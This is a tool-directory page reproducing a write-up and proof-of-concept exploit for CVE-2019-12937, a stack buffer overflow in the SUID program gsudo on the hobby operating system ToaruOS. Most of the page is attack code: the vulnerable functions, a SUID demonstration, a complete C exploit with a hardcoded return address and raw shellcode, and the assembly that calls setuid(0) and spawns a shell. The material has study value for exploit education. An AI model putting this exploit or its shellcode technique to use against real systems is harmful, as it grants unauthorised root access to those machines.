Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-12937-ToaruOS — Proof-of-concept exploit for CVE-2019-12937: a stack buffer overflow in ToaruOS gsudo allowing local privilege escalation to root through crafted DISPLAY environment variable and shellcode. | Kitploit
Tools/GitHubGitHub/akashicyitai/cve-2019-12937-toaruos
Privilege EscalationVulnerability AnalysisExploitationCTFLearning & EducationBinary Exploitation
GitHubakashicyitai/cve-2019-12937-toaruos

CVE-2019-12937-ToaruOS

Proof-of-concept exploit for CVE-2019-12937: a stack buffer overflow in ToaruOS gsudo allowing local privilege escalation to root through crafted DISPLAY environment variable and shellcode.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
42 years agoNot yet reviewed

CVE-2019-12937

ToaruOS is an open-source computer operating system written in C, a hobbyist operating system developed by an undergraduate computer science student at the University of Illinois. ToaruOS runs on POSIX and x86 architectures. Its main features include support for processes and threads, ELF binaries, runtime loadable modules, pipes, various types of TTY devices, a virtual file system, EXT2 file system support, semaphores, etc.

A buffer overflow vulnerability exists in the gsudo's apps/gsudo.c file in ToaruOS versions up to 1.10.9. An attacker can exploit this vulnerability via the DISPLAY environment variable to escalate privileges to root.

ToaruOS 1.10.9 project link

Attack Method

Copy the poc.c file to the ToaruOS system, and in the copied directory run:

root@kitploit:~
gcc -o poc poc.c
./poc

Vulnerability Trigger Location

In the pex_connect function, sprintf is used to concatenate strings without checking the length of the target parameter. When the target is too long, it causes a stack overflow.

root@kitploit:~
FILE * pex_connect(char * target) {
    char tmp[100];
    sprintf(tmp, "/dev/pex/%s", target);
    FILE * out = fopen(tmp, "r+");
    if (out) {
        setbuf(out, NULL);
    }
    return out;
}

Where the parameter target is the value of the DISPLAY environment variable.

root@kitploit:~
yutani_t * yutani_init(void) {
char * server_name = getenv("DISPLAY");
if (!server_name) {
    server_name = "compositor";
}
FILE * c = pex_connect(server_name);

if (!c) {
    return NULL; /* Connection failed. */
}
......
......
}

The gsudo program calls the yutani_init function. gsudo is a program with SUID privileges, so when gsudo executes, its privileges are root. The overflow above can be used to escalate privileges.

root@kitploit:~
int main(int argc, char ** argv) {

    if (argc < 2) {
            return 1;
    }

    yctx = yutani_init();
....
....
}

SUID

SUID programs create s and t permissions, allowing ordinary users to temporarily have the privileges of the program owner when executing certain programs.

Below, test the execution process of a SUID program.

root@kitploit:~
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void main()
{
	int res;
	res = setuid(0);
	printf("%d\n",res);
	system("/bin/sh");
}

The setuid function sets the identity of the current user. When the parameter is 0, the current process is set to root. After calling setuid, execute the shell program and observe the current user.

root@kitploit:~
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ gcc -o setuid setuid.c 
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
-1
$ whoami
akashic
$ exit
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chown root ./setuid
[sudo] password for akashic: 
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chmod u+s ./setuid
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid 
0
# whoami
root
# exit

In ToaruOS, after the operating system finishes booting, all programs are loaded through fork to exec_elf. The privileges of the program are those of the parent process. When a program with setuid privilege is encountered, the process privilege is set to that of the current file owner.

Exploitation

The overflowed program here is a program with SUID privileges, so using a stack overflow, privilege escalation can be performed.

ToaruOS does not have stack randomization, heap randomization, non-executable stack, etc. These protections are absent, making exploitation quite simple, but there are no debugging tools like gdb, so it still requires some effort.

Control eip via the stack overflow vulnerability to the address of our privilege escalation payload. Code can be executed on the stack, and the stack address is fixed. We place the payload on the stack using the environ variable. The addresses of argv and environ are printed directly.

root@kitploit:~
#include <stdio.h>
extern char **environ;
void main(int argc, char *argv[])
{
	printf("argv:%x\t\t\n",argv);
	printf("environ:%x\t\n",env);
	return 0;
}

Result:

root@kitploit:~
argv:		3f00c00c
environ:	3f022010

Set the value of the environment variable, control the eip value to fall between argv and environ. The eip address must not contain the \x00 character. Bypass by filling with Nop instructions.

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define EIP          "\xb0\xb0\x01\x3f"
#define EIP_DISTANCE 25U

char shellcode[] = {
  0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
  0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
  0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
  0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
  0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00
};
unsigned int shellcode_length = 57;

int main(void)
{
	char payload[65536];
	char vector[8192]   = "DISPLAY=Akashic";
	char * const arg[3] = { "/bin/gsudo", "meh", NULL };
	char * const env[3] = { payload, vector, NULL };

	memset(payload, 'A', sizeof(payload) - shellcode_length - 1);
	payload[sizeof(payload) - shellcode_length - 1] = 0;
	strcat(payload, shellcode);

	for (unsigned int i = 0; i < EIP_DISTANCE; i++)
		strcat(vector, EIP);

	execve("/bin/gsudo", arg, env);

	perror("execve()");
	exit(EXIT_FAILURE);
}

payload

In the payload, first execute setuid(0) to set the current process privileges, then execute system("/bin/shh") to return a shell. ToaruOS invokes system functions via int 0x7f. The system call numbers are in syscall_nums.h. setuid corresponds to 24, system corresponds to 7.

root@kitploit:~
    xor eax, eax
    add al, 24
    xor ebx, ebx
    int 0x7f
    jmp short end
start:
    pop ebx
    xor eax, eax
    mov [ebx+7], al
    mov [ebx+8], ebx
    mov [ebx+12], eax
    add al, 7
    lea ecx, [ebx+8]
    lea edx, [ebx+12]
    int 0x7f
    xor eax, eax
    int 0x7f
end:
    call start
db "/bin/shh"
db "XXXXXXXX"
Download Tool